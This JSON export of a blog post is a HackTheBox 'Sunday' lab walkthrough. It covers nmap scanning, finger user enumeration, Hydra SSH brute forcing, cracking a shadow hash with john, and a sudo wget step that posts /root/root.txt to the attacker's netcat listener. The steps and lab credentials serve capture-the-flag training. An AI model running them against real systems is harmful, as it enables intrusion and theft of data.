{"id":153,"date":"2018-10-16T21:30:59","date_gmt":"2018-10-16T21:30:59","guid":{"rendered":"https:\/\/zineausa.com\/blog\/?p=153"},"modified":"2018-10-16T21:30:59","modified_gmt":"2018-10-16T21:30:59","slug":"hackthebox-sunday-writeup","status":"publish","type":"post","link":"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-sunday-writeup\/","title":{"rendered":"Hackthebox – Sunday Writeup"},"content":{"rendered":"

\"\"<\/p>\n

This is a writeup for the Sunday machine on hackthebox.eu which was retired on 9\/29\/18!<\/p>\n

We started with a typical nmap scan:
\nnmap -sC -sV -Pn 10.10.10.76<\/code><\/p>\n

This results in:
\n\"\"<\/p>\n

We then start a nmap scan on all ports:
\nnmap -p 1-65535 -T4 -A -v --min-rate 1000 --max-retries 5 10.10.10.76 <\/code><\/p>\n

We get two additional ports with this scan:
\n22022\/tcp open unknown
\n40870\/tcp open smserverd 1 (RPC #100155)<\/code><\/p>\n

Since finger is open on port 79, we follow the guide here and enumerate with finger:
\nhttp:\/\/pentestmonkey.net\/tools\/user-enumeration\/finger-user-enum<\/a><\/p>\n

We run the code: perl finger-user-enum.pl -U rockyou.txt -t 10.10.10.76<\/code><\/p>\n

This gives us the following results:
\n######## Scan started at Fri Jul 27 00:05:31 2018 #########
\nsammy@10.10.10.76: sammy pts\/2 10.10.14.4 ..
\nrock you@10.10.10.76: Login Name TTY Idle When Where..rock ???..you ???..
\nsunny@10.10.10.76: sunny pts\/3 10.10.14.4 ..
\ni love you@10.10.10.76: Login Name TTY Idle When Where..i ???..love ???..you ???..<\/code><\/p>\n

This shows two users, sunny and sammy.<\/p>\n

let’s use Hydra to try and brute force into the ssh port, which I’m guessing is 22022.<\/p>\n

hydra -l sammy -P rockyou.txt 10.10.10.76 -t 4 -s 22022 ssh<\/code>
\nThis didn’t work so we will try sunny.
\nhydra -l sunny -P rockyou.txt 10.10.10.76 -t 4 -s 22022 ssh<\/code>
\nThis results in us gettingthe password of Sunday (the machine name) for sunny.<\/p>\n

we navigate to \/backup\/shadow.backup and find some hashes here!
\nmysql:NP:::::::
\nopenldap:*LK*:::::::
\nwebservd:*LK*:::::::
\npostgres:NP:::::::
\nsvctag:*LK*:6445::::::
\nnobody:*LK*:6445::::::
\nnoaccess:*LK*:6445::::::
\nnobody4:*LK*:6445::::::
\nsammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
\nsunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::<\/code><\/p>\n

The one we are interested in is sammy so we copy that line into a file called hashes.txt
\nnow we run john to crack it:
\njohn --format=crypt --wordlist=rockyou.txt --session=two hashes.txt<\/code><\/p>\n

\"\"<\/p>\n

Based on this, the password seems to be cooldude!<\/p>\n

We login to sammy with:
\nssh -p 22022 sammy@10.10.10.76
\ntype in the password cooldude! and we’re in, with the user flag!
\n\"\"<\/p>\n

Moving onto getting root:<\/strong><\/p>\n

we run sudo -l to see what we can run with sudo<\/p>\n

seems we can run wget so we do the following two commands:<\/p>\n

on our kali machine we run:
\nnc -lvnp 7734<\/code><\/p>\n

On the victim machine we run:
\nsudo wget --post-file=\/root\/root.txt 10.10.14.4:7734<\/code><\/p>\n

This gets us root flag!
\n\"\"<\/p>\n","protected":false},"excerpt":{"rendered":"

This is a writeup for the Sunday machine on hackthebox.eu which was retired on 9\/29\/18! We started with a typical nmap scan: nmap -sC -sV -Pn 10.10.10.76 This results in: We then start a nmap scan on all ports: nmap -p 1-65535 -T4 -A -v –min-rate 1000 –max-retries 5 10.10.10.76 We get two additional ports […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,6],"tags":[],"class_list":["post-153","post","type-post","status-publish","format-standard","hentry","category-hackthebox","category-writeups"],"yoast_head":"\nHackthebox - Sunday Writeup - Zinea InfoSec Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-sunday-writeup\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Hackthebox - Sunday Writeup - Zinea InfoSec Blog\" \/>\n<meta property=\"og:description\" content=\"This is a writeup for the Sunday machine on hackthebox.eu which was retired on 9\/29\/18! We started with a typical nmap scan: nmap -sC -sV -Pn 10.10.10.76 This results in: We then start a nmap scan on all ports: nmap -p 1-65535 -T4 -A -v --min-rate 1000 --max-retries 5 10.10.10.76 We get two additional ports […]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-sunday-writeup\/\" \/>\n<meta property=\"og:site_name\" content=\"Zinea InfoSec Blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/zineausa\/\" \/>\n<meta property=\"article:published_time\" content=\"2018-10-16T21:30:59+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/sunday.jpg\" \/>\n<meta name=\"author\" content=\"Zinea\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@ZineaLLC\" \/>\n<meta name=\"twitter:site\" content=\"@ZineaLLC\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Zinea\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-sunday-writeup\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-sunday-writeup\\\/\"},\"author\":{\"name\":\"Zinea\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#\\\/schema\\\/person\\\/e3c58d4f0650f7fb571c01fcf836b1d0\"},\"headline\":\"Hackthebox – Sunday Writeup\",\"datePublished\":\"2018-10-16T21:30:59+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-sunday-writeup\\\/\"},\"wordCount\":236,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-sunday-writeup\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/wp-content\\\/uploads\\\/2018\\\/10\\\/sunday.jpg\",\"articleSection\":[\"HackTheBox\",\"Writeups\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-sunday-writeup\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-sunday-writeup\\\/\",\"url\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-sunday-writeup\\\/\",\"name\":\"Hackthebox - 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